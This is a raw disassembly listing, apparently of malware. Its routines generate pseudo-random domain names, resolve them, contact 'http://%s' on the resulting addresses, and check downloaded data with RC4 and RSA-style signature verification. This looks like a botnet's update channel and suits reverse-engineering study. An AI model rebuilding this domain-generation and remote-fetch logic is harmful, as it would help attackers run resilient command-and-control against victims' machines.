		push	eax		; X
		call	labs
		pop	ecx
		cdq
		push	6
		pop	ecx
		idiv	ecx
		mov	esi, edx
		add	esi, 4
		mov	[ebp+var_BC], esi
		mov	ebx, [ebx]
		mov	[ebp+var_D0], ebx
		and	[ebp+var_AC], 0


loc_9A8640:				; CODE XREF: sub_9A857A+F2j
		cmp	[ebp+var_AC], esi
		jnb	short loc_9A866E
		call	sub_9A84A9
		push	eax		; X
		call	labs
		pop	ecx
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	eax, [ebp+var_AC]
		mov	[eax+ebx], dl
		inc	[ebp+var_AC]
		jmp	short loc_9A8640
; ---------------------------------------------------------------------------


loc_9A866E:				; CODE XREF: sub_9A857A+CCj
		mov	byte ptr [ebx+esi], 0
		mov	eax, [ebp+hMem]
		lea	esi, [eax+edi*4]
		push	offset a_	; "."
		push	dword ptr [esi]	; Dest
		call	strcat
		call	sub_9A84A9
		push	eax		; X
		call	labs
		xor	edx, edx
		push	74h
		pop	ecx
		div	ecx
		push	off_9B85A0[edx*4] ; Source
		push	dword ptr [esi]	; Dest
		call	strcat
		add	esp, 14h
		inc	edi
		jmp	loc_9A85E5
; ---------------------------------------------------------------------------


loc_9A86B0:				; CODE XREF: sub_9A857A+77j
		and	[ebp+var_A0], 0


loc_9A86B7:				; CODE XREF: sub_9A857A+2DCj
		xor	esi, esi
		cmp	[ebp+var_B0], esi
		jnz	loc_9A8862
		cmp	[ebp+var_A0], 1F4h
		jnb	loc_9A8862
		call	GetTickCount
		mov	[ebp+var_B8], eax
		xor	edi, edi
		inc	edi
		mov	[ebp+ms_exc.disabled], edi
		push	offset dword_9BB310
		call	sub_9AA638
		pop	ecx
		xor	edx, edx
		mov	ecx, 0C350h
		div	ecx
		mov	eax, [ebp+hMem]
		mov	edx, [eax+edx*4]
		mov	[ebp+var_C4], edx
		push	edx		; name
		call	gethostbyname
		mov	[ebp+var_D4], eax
		cmp	eax, esi
		jz	loc_9A880A
		mov	ecx, [eax+0Ch]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		mov	edx, [ebp+var_A0]
		mov	[ebp+edx*4+Dst], ecx
		mov	ecx, [eax+0Ch]
		cmp	[ecx], esi
		jz	loc_9A880A
		mov	eax, ecx
		cmp	[eax+4], esi
		jnz	loc_9A880A
		mov	eax, [eax]
		mov	esi, [eax]
		mov	[ebp+var_CC], esi
		push	esi
		call	sub_9A5CB5
		pop	ecx
		test	eax, eax
		jz	loc_9A880A
		push	esi
		call	sub_9A5C88
		pop	ecx
		test	eax, eax
		jz	loc_9A880A
		push	esi		; netlong
		call	sub_9A4033
		pop	ecx
		test	eax, eax
		jnz	loc_9A880A
		mov	[ebp+var_B4], eax
		mov	[ebp+var_A8], eax


loc_9A878C:				; CODE XREF: sub_9A857A+287j
		mov	ecx, [ebp+var_A0]
		cmp	[ebp+var_A8], ecx
		jnb	short loc_9A87AF
		mov	ecx, [ebp+var_A8]
		cmp	esi, [ebp+ecx*4+Dst]
		jnz	short loc_9A87FB
		mov	[ebp+var_B4], edi


loc_9A87AF:				; CODE XREF: sub_9A857A+21Ej
		cmp	[ebp+var_B4], eax
		jnz	short loc_9A880A
		push	esi		; in
		call	inet_ntoa
		mov	[ebp+var_C0], eax
		test	eax, eax
		jz	short loc_9A880A
		push	eax
		push	offset aHttpS	; "http://%s"
		push	80h		; Count
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_snprintf
		mov	[ebp+var_1D], 0
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_9A8179
		add	esp, 14h
		mov	[ebp+var_B0], eax
		jmp	short loc_9A880A
; ---------------------------------------------------------------------------


loc_9A87FB:				; CODE XREF: sub_9A857A+22Dj
		inc	[ebp+var_A8]
		jmp	short loc_9A878C
; ---------------------------------------------------------------------------


loc_9A8803:				; DATA XREF: .text:009A3530o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A880A:				; CODE XREF: sub_9A857A+19Fj
					; sub_9A857A+1BEj ...
		and	[ebp+ms_exc.disabled], 0
		call	GetTickCount
		mov	esi, eax
		sub	esi, [ebp+var_B8]
		mov	[ebp+var_B8], esi
		push	offset dword_9BB310
		call	sub_9AA638
		pop	ecx
		xor	edx, edx
		push	29h
		pop	ecx
		div	ecx
		add	edx, 0Ah
		imul	edx, 3E8h
		mov	[ebp+var_C8], edx
		cmp	edx, esi
		jbe	short loc_9A8850
		sub	edx, esi
		push	edx		; dwMilliseconds
		call	Sleep


loc_9A8850:				; CODE XREF: sub_9A857A+2CBj
		inc	[ebp+var_A0]
		jmp	loc_9A86B7
; ---------------------------------------------------------------------------


loc_9A885B:				; DATA XREF: .text:stru_9A3520o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A885F:				; DATA XREF: .text:stru_9A3520o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A8862:				; CODE XREF: sub_9A857A+65j
					; sub_9A857A+94j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	[ebp+ms_exc.disabled], 2
		cmp	[ebp+hMem], 0
		jz	short loc_9A88BE
		and	[ebp+var_A0], 0
		mov	esi, GlobalFree


loc_9A8883:				; CODE XREF: sub_9A857A+331j
		cmp	[ebp+var_A0], 0C350h
		jnb	short loc_9A88AD
		mov	eax, [ebp+hMem]
		mov	ecx, [ebp+var_A0]
		mov	eax, [eax+ecx*4]
		test	eax, eax
		jz	short loc_9A88A5
		push	eax		; hMem
		call	esi ; GlobalFree


loc_9A88A5:				; CODE XREF: sub_9A857A+326j
		inc	[ebp+var_A0]
		jmp	short loc_9A8883
; ---------------------------------------------------------------------------


loc_9A88AD:				; CODE XREF: sub_9A857A+313j
		push	[ebp+hMem]	; hMem
		call	esi ; GlobalFree
		jmp	short loc_9A88BE
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A88BE:				; CODE XREF: sub_9A857A+2FAj
					; sub_9A857A+33Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_B0]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A857A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A88D8	proc near		; CODE XREF: sub_9A898A+16p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	[eax], edx
		mov	[eax+4], edx
		xor	ecx, ecx


loc_9A88E7:				; CODE XREF: sub_9A88D8+1Aj
		mov	[eax+ecx*4+8], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_9A88E7
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		mov	[ebp+arg_0], edx


loc_9A88FC:				; CODE XREF: sub_9A88D8+56j
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	bl, [esi+ebx]
		add	bl, dl
		lea	edi, [eax+ecx*4+8]
		mov	ecx, [edi]
		add	bl, cl
		movzx	edx, bl
		mov	ebx, [eax+edx*4+8]
		inc	esi
		cmp	esi, [ebp+arg_8]
		mov	[edi], ebx
		mov	[eax+edx*4+8], ecx
		jl	short loc_9A8924
		xor	esi, esi


loc_9A8924:				; CODE XREF: sub_9A88D8+48j
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 100h
		jl	short loc_9A88FC
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9A88D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8935	proc near		; CODE XREF: sub_9A898A+28p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ebx
		mov	ebx, [eax]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jle	short loc_9A8981
		push	esi


loc_9A894A:				; CODE XREF: sub_9A8935+49j
		inc	bl
		movzx	ebx, bl
		mov	edx, [eax+ebx*4+8]
		add	cl, dl
		movzx	ecx, cl
		lea	esi, [eax+ecx*4+8]
		mov	[ebp+arg_0], ecx
		mov	ecx, [esi]
		mov	[eax+ebx*4+8], ecx
		add	cl, dl
		mov	[esi], edx
		mov	esi, [ebp+arg_4]
		movzx	ecx, cl
		mov	cl, [eax+ecx*4+8]
		add	esi, edi
		xor	[esi], cl
		mov	ecx, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+arg_8]
		jl	short loc_9A894A
		pop	esi


loc_9A8981:				; CODE XREF: sub_9A8935+12j
		pop	edi
		mov	[eax], ebx
		mov	[eax+4], ecx
		pop	ebx
		pop	ebp
		retn
sub_9A8935	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A898A	proc near		; CODE XREF: sub_9A8C4C+A9p

var_408		= byte ptr -408h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_408]
		push	[ebp+arg_8]
		push	eax
		call	sub_9A88D8
		push	[ebp+arg_4]
		lea	eax, [ebp+var_408]
		push	[ebp+arg_0]
		push	eax
		call	sub_9A8935
		add	esp, 18h
		leave
		retn
sub_9A898A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A89BC	proc near		; CODE XREF: sub_9A8A16+3Ep
					; sub_9A8A16+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ecx, 80h


loc_9A89CD:				; CODE XREF: sub_9A89BC+1Ej
		mov	eax, [esi+ecx*4]
		mov	ebx, [edi+ecx*4]
		cmp	eax, ebx
		jb	short loc_9A89E0
		ja	short loc_9A89E7
		dec	ecx
		jns	short loc_9A89CD
		xor	eax, eax
		jmp	short loc_9A89EC
; ---------------------------------------------------------------------------


loc_9A89E0:				; CODE XREF: sub_9A89BC+19j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_9A89EC
; ---------------------------------------------------------------------------


loc_9A89E7:				; CODE XREF: sub_9A89BC+1Bj
		mov	eax, 1


loc_9A89EC:				; CODE XREF: sub_9A89BC+22j
					; sub_9A89BC+29j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9A89BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A89F1	proc near		; CODE XREF: sub_9A8A16+13p
					; sub_9A8AD9+38p

arg_0		= dword	ptr  4

		mov	eax, 101Fh
		push	esi


loc_9A89F7:				; CODE XREF: sub_9A89F1+1Fj
		mov	esi, [esp+4+arg_0]
		mov	edx, eax
		shr	edx, 5
		mov	edx, [esi+edx*4]
		mov	ecx, eax
		and	ecx, 1Fh
		shr	edx, cl
		test	dl, 1
		jnz	short loc_9A8A14
		dec	eax
		jns	short loc_9A89F7
		xor	eax, eax


loc_9A8A14:				; CODE XREF: sub_9A89F1+1Cj
		pop	esi
		retn
sub_9A89F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8A16(void *Dst,int,int)

sub_9A8A16	proc near		; CODE XREF: sub_9A8AD9+74p
					; sub_9A8AD9+A1p

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	204h		; Size
		push	0		; Val
		push	[ebp+Dst]	; Dst
		call	memset
		push	ebx
		call	sub_9A89F1
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jl	loc_9A8AD7
		push	esi
		push	edi


loc_9A8A3D:				; CODE XREF: sub_9A8A16+B9j
		mov	edi, [ebp+Dst]
		xor	eax, eax
		mov	ecx, 81h


loc_9A8A47:				; CODE XREF: sub_9A8A16+36j
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_9A8A47
		push	[ebp+arg_8]
		push	[ebp+Dst]
		call	sub_9A89BC
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_9A8A78
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_8]
		xor	eax, eax
		mov	ecx, 81h


loc_9A8A6C:				; CODE XREF: sub_9A8A16+60j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9A8A6C


loc_9A8A78:				; CODE XREF: sub_9A8A16+47j
		mov	eax, edx
		shr	eax, 5
		mov	eax, [ebx+eax*4]
		mov	ecx, edx
		and	ecx, 1Fh
		shr	eax, cl
		test	al, 1
		jz	short loc_9A8ACE
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_4]
		mov	ecx, 81h
		xor	eax, eax


loc_9A8A98:				; CODE XREF: sub_9A8A16+8Cj
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9A8A98
		push	[ebp+arg_8]
		push	[ebp+Dst]
		call	sub_9A89BC
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_9A8ACE
		mov	edi, [ebp+Dst]
		mov	esi, [ebp+arg_8]
		xor	eax, eax
		mov	ecx, 81h


loc_9A8AC2:				; CODE XREF: sub_9A8A16+B6j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_9A8AC2


loc_9A8ACE:				; CODE XREF: sub_9A8A16+73j
					; sub_9A8A16+9Dj
		dec	edx
		jns	loc_9A8A3D
		pop	edi
		pop	esi


loc_9A8AD7:				; CODE XREF: sub_9A8A16+1Fj
		pop	ebp
		retn
sub_9A8A16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8AD9	proc near		; CODE XREF: sub_9A8BA1+89p

var_410		= byte ptr -410h
Dst		= byte ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	esi
		push	200h		; Size
		lea	eax, [edi+4]
		push	0		; Val
		push	eax		; Dst
		mov	dword ptr [edi], 1
		call	memset
		mov	esi, 204h
		push	esi		; Size
		push	[ebp+Src]	; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memcpy
		push	[ebp+arg_4]
		call	sub_9A89F1
		and	[ebp+var_4], 0
		add	esp, 1Ch
		test	eax, eax
		mov	[ebp+var_8], eax
		jl	short loc_9A8B9E
		push	ebx


loc_9A8B25:				; CODE XREF: sub_9A8AD9+C2j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	eax, ecx
		shr	eax, 5
		mov	eax, [edx+eax*4]
		and	ecx, 1Fh
		shr	eax, cl
		test	al, 1
		jz	short loc_9A8B63
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_410]
		push	edi		; int
		push	eax		; Dst
		lea	ebx, [ebp+Dst]
		call	sub_9A8A16
		push	esi		; Size
		lea	eax, [ebp+var_410]
		push	eax		; Src
		push	edi		; Dst
		call	memcpy
		add	esp, 18h


loc_9A8B63:				; CODE XREF: sub_9A8AD9+61j
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dst]
		push	eax		; int
		lea	eax, [ebp+var_410]
		push	eax		; Dst
		lea	ebx, [ebp+Dst]
		call	sub_9A8A16
		push	esi		; Size
		lea	eax, [ebp+var_410]
		push	eax		; Src
		mov	eax, ebx
		push	eax		; Dst
		call	memcpy
		add	esp, 18h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jle	short loc_9A8B25
		pop	ebx


loc_9A8B9E:				; CODE XREF: sub_9A8AD9+49j
		pop	esi
		leave
		retn
sub_9A8AD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8BA1(void *Src,int,int,int)

sub_9A8BA1	proc near		; CODE XREF: sub_9A8C4C+5Fp

var_810		= byte ptr -810h
var_611		= byte ptr -611h
var_60C		= byte ptr -60Ch
var_408		= byte ptr -408h
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
Dst		= byte ptr -200h
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		mov	esi, 200h
		push	esi		; Size
		mov	[ebp+var_204], eax
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	memset
		push	204h		; Size
		lea	eax, [ebp+var_60C]
		push	0		; Val
		push	eax		; Dst
		call	memset
		push	esi		; Size
		push	[ebp+Src]	; Src
		lea	eax, [ebp+var_60C]
		push	eax		; Dst
		call	memcpy
		mov	eax, [ebp+arg_C]
		and	[ebp+var_208], 0
		add	esp, 24h
		xor	ecx, ecx
		add	eax, 1FFh


loc_9A8C00:				; CODE XREF: sub_9A8BA1+6Cj
		mov	dl, [eax]
		mov	[ebp+ecx+var_408], dl
		inc	ecx
		dec	eax
		cmp	ecx, esi
		jl	short loc_9A8C00
		lea	eax, [ebp+var_60C]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		lea	edi, [ebp+var_810]
		call	sub_9A8AD9
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_611]


loc_9A8C3A:				; CODE XREF: sub_9A8BA1+A5j
		mov	dl, [eax]
		mov	edi, [ebp+arg_8]
		mov	[ecx+edi], dl
		inc	ecx
		dec	eax
		cmp	ecx, esi
		jl	short loc_9A8C3A
		pop	edi
		pop	esi
		leave
		retn
sub_9A8BA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8C4C(void *Src,int,int,int,int)

sub_9A8C4C	proc near		; CODE XREF: sub_9A8133+2Ap
					; sub_9B3150-308Ap

Buf1		= byte ptr -404h
var_403		= byte ptr -403h
Dst		= byte ptr -402h
var_244		= byte ptr -244h
Buf2		= byte ptr -204h
var_84		= byte ptr -84h
var_44		= byte ptr -44h
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		mov	eax, dword_9B8788
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		mov	edi, [ebp+Src]
		xor	eax, ebp
		push	1FEh		; Size
		mov	[ebp+var_4], eax
		lea	eax, [ebp+Dst]
		push	0FFh		; Val
		push	eax		; Dst
		mov	[ebp+Buf1], 0
		mov	[ebp+var_403], 1
		call	memset
		lea	eax, [ebp+var_244]
		push	eax		; Dst
		push	[ebp+arg_10]	; int
		push	esi		; int
		call	sub_9A8D34
		push	ebx		; int
		lea	eax, [ebp+Buf2]
		push	eax		; int
		push	[ebp+arg_4]	; int
		push	edi		; Src
		call	sub_9A8BA1
		push	180h		; Size
		lea	eax, [ebp+Buf2]
		push	eax		; Buf2
		lea	eax, [ebp+Buf1]
		push	eax		; Buf1
		call	memcmp
		add	esp, 34h
		test	eax, eax
		jnz	short loc_9A8D23
		push	40h		; Size
		lea	eax, [ebp+var_44]
		push	eax		; Buf2
		lea	eax, [ebp+var_244]
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A8D23
		push	40h
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_10]
		push	esi
		call	sub_9A898A
		lea	eax, [ebp+var_44]
		push	eax		; Dst
		push	[ebp+arg_10]	; int
		push	esi		; int
		call	sub_9A8D34
		push	40h		; Size
		lea	eax, [ebp+var_44]
		push	eax		; Buf2
		lea	eax, [ebp+var_84]
		push	eax		; Buf1
		call	memcmp
		add	esp, 28h
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_9A8D25
; ---------------------------------------------------------------------------


loc_9A8D23:				; CODE XREF: sub_9A8C4C+81j
					; sub_9A8C4C+9Aj
		xor	eax, eax


loc_9A8D25:				; CODE XREF: sub_9A8C4C+D5j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A8C4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8D34(int,int,void *Dst)

sub_9A8D34	proc near		; CODE XREF: sub_9A8C4C+4Ep
					; sub_9A8C4C+B6p

var_3CDC	= dword	ptr -3CDCh
Src		= byte ptr -3CD4h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dst		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 3CDCh
		call	__alloca_probe
		mov	eax, dword_9B8788
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, ebp
		push	edi
		mov	edi, [ebp+Dst]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_3CDC]
		push	200h		; int
		push	eax		; Dst
		call	sub_9A8F65
		mov	eax, [ebp+arg_4]
		push	8
		pop	ecx
		mul	ecx
		push	edx
		push	eax
		lea	eax, [ebp+var_3CDC]
		push	esi
		push	eax
		call	sub_9A9237
		lea	eax, [ebp+var_3CDC]
		push	0		; Dst
		push	eax		; int
		call	sub_9A942A
		push	40h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	edi		; Dst
		call	memcpy
		mov	ecx, [ebp+var_4]
		add	esp, 2Ch
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		leave
		retn
sub_9A8D34	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8DA9	proc near		; CODE XREF: sub_9A8E1C+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edx, edx
		or	edx, esi
		xor	ecx, ecx
		or	eax, ecx
		mov	ebx, edx
		mov	esi, edx
		mov	edi, eax
		shld	ebx, edi, 10h
		mov	ecx, eax
		shrd	ecx, esi, 10h
		shld	edx, eax, 10h
		shl	edi, 10h
		xor	ecx, edi
		shr	esi, 10h
		xor	esi, ebx
		shl	eax, 10h
		mov	edi, 0FFFFh
		and	esi, edi
		and	ecx, edi
		xor	esi, edx
		xor	ecx, eax
		mov	ebx, esi
		mov	edx, esi
		mov	edi, ecx
		shld	ebx, edi, 8
		mov	eax, ecx
		shrd	eax, edx, 8
		shl	edi, 8
		shr	edx, 8
		xor	eax, edi
		shld	esi, ecx, 8
		xor	edx, ebx
		mov	edi, 0FF00FFh
		and	eax, edi
		and	edx, edi
		pop	edi
		xor	edx, esi
		shl	ecx, 8
		pop	esi
		xor	eax, ecx
		pop	ebx
		retn
sub_9A8DA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8E1C	proc near		; CODE XREF: sub_9A8FF3+6Ap
					; sub_9A942A+62p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		xor	edi, edi
		cmp	[esp+4+arg_4], edi
		jle	short loc_9A8E46
		push	esi


loc_9A8E26:				; CODE XREF: sub_9A8E1C+27j
		mov	eax, [esp+8+arg_0]
		lea	esi, [eax+edi*8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_9A8DA9
		inc	edi
		cmp	edi, [esp+10h+arg_4]
		pop	ecx
		pop	ecx
		mov	[esi], eax
		mov	[esi+4], edx
		jl	short loc_9A8E26
		pop	esi


loc_9A8E46:				; CODE XREF: sub_9A8E1C+7j
		pop	edi
		retn
sub_9A8E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8E48	proc near		; CODE XREF: sub_9A9237+BCp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	edi, [ebp+arg_C]
		xor	edx, edx
		cmp	edi, edx
		jz	loc_9A8F62
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	ecx, 7
		push	ebx
		push	esi
		mov	[ebp+var_4], edx
		jz	short loc_9A8E86
		mov	ebx, [ebp+arg_0]
		mov	edx, ecx
		mov	esi, eax
		shr	esi, 3
		mov	bl, [esi+ebx]
		mov	cl, 8
		sub	cl, dl
		shr	bl, cl
		movzx	cx, bl
		mov	word ptr [ebp+var_4], cx


loc_9A8E86:				; CODE XREF: sub_9A8E48+21j
		add	edi, 7
		shr	eax, 3
		shr	edi, 3
		xor	esi, esi
		test	edi, edi
		mov	[ebp+var_C], eax
		jle	loc_9A8F60
		lea	eax, [edi-1]


loc_9A8E9F:				; CODE XREF: sub_9A8E48+112j
		cmp	esi, eax
		jz	short loc_9A8EB7
		mov	eax, [ebp+arg_8]
		movzx	ax, byte ptr [esi+eax]
		xor	ecx, ecx
		mov	ch, byte ptr [ebp+var_4]
		xor	eax, ecx
		add	edx, 8
		jmp	short loc_9A8EE7
; ---------------------------------------------------------------------------


loc_9A8EB7:				; CODE XREF: sub_9A8E48+59j
		mov	eax, [ebp+arg_C]
		and	eax, 7
		mov	[ebp+var_8], 8
		jz	short loc_9A8EC9
		mov	[ebp+var_8], eax


loc_9A8EC9:				; CODE XREF: sub_9A8E48+7Cj
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [esi+eax]
		mov	ebx, [ebp+var_4]
		mov	cl, 8
		sub	cl, byte ptr [ebp+var_8]
		shr	al, cl
		mov	ecx, [ebp+var_8]
		shl	ebx, cl
		movzx	ax, al
		or	eax, ebx
		add	edx, ecx


loc_9A8EE7:				; CODE XREF: sub_9A8E48+6Dj
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		lea	eax, [edi-1]
		cmp	esi, eax
		setnz	cl
		mov	[ebp+var_10], ecx


loc_9A8EF7:				; CODE XREF: sub_9A8E48+10Dj
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		cmp	edx, 8
		setnl	al
		test	eax, ecx
		jnz	short loc_9A8F1B
		xor	ecx, ecx
		lea	eax, [edi-1]
		cmp	esi, eax
		setz	cl
		xor	ebx, ebx
		test	edx, edx
		setnle	bl
		test	ecx, ebx
		jz	short loc_9A8F57


loc_9A8F1B:				; CODE XREF: sub_9A8E48+BCj
		push	8
		pop	eax
		cmp	edx, eax
		mov	[ebp+var_8], eax
		jg	short loc_9A8F28
		mov	[ebp+var_8], edx


loc_9A8F28:				; CODE XREF: sub_9A8E48+DBj
		mov	ebx, [ebp+var_4]
		mov	cl, dl
		sub	cl, byte ptr [ebp+var_8]
		shr	bx, cl
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		mov	eax, 0FF00h
		shl	bl, cl
		mov	ecx, [ebp+var_8]
		sar	eax, cl
		mov	ecx, [ebp+var_C]
		and	bl, al
		mov	eax, [ebp+arg_0]
		inc	[ebp+var_C]
		sub	edx, [ebp+var_8]
		mov	[ecx+eax], bl
		jmp	short loc_9A8EF7
; ---------------------------------------------------------------------------


loc_9A8F57:				; CODE XREF: sub_9A8E48+D1j
		inc	esi
		cmp	esi, edi
		jl	loc_9A8E9F


loc_9A8F60:				; CODE XREF: sub_9A8E48+4Ej
		pop	esi
		pop	ebx


loc_9A8F62:				; CODE XREF: sub_9A8E48+Ej
		pop	edi
		leave
		retn
sub_9A8E48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8F65(void *Dst,int)

sub_9A8F65	proc near		; CODE XREF: sub_9A8D34+2Bp

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		push	edi
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, [ebp+Dst]
		mov	edi, eax
		add	edi, 28h
		test	esi, esi
		jnz	short loc_9A8F84
		push	3
		pop	eax
		jmp	short loc_9A8FEF
; ---------------------------------------------------------------------------


loc_9A8F84:				; CODE XREF: sub_9A8F65+18j
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+arg_4], ebx
		jl	short loc_9A8FEB
		cmp	[ebp+arg_4], 200h
		jg	short loc_9A8FEB
		push	3CD8h		; Size
		push	0		; Val
		push	esi		; Dst
		call	memset
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		add	esp, 0Ch
		mov	[esi], eax
		xor	eax, eax
		cmp	edi, 0FFh
		setnle	cl
		xor	edx, edx
		cmp	edi, eax
		setl	dl
		mov	[esi+168h], eax
		mov	dword ptr [esi+16Ch], 40h
		or	ecx, edx
		jz	short loc_9A8FD7
		push	11h
		jmp	short loc_9A8FED
; ---------------------------------------------------------------------------


loc_9A8FD7:				; CODE XREF: sub_9A8F65+6Cj
		mov	[esi+170h], edi
		mov	[esi+10Ch], ebx
		mov	[esi+174h], ebx
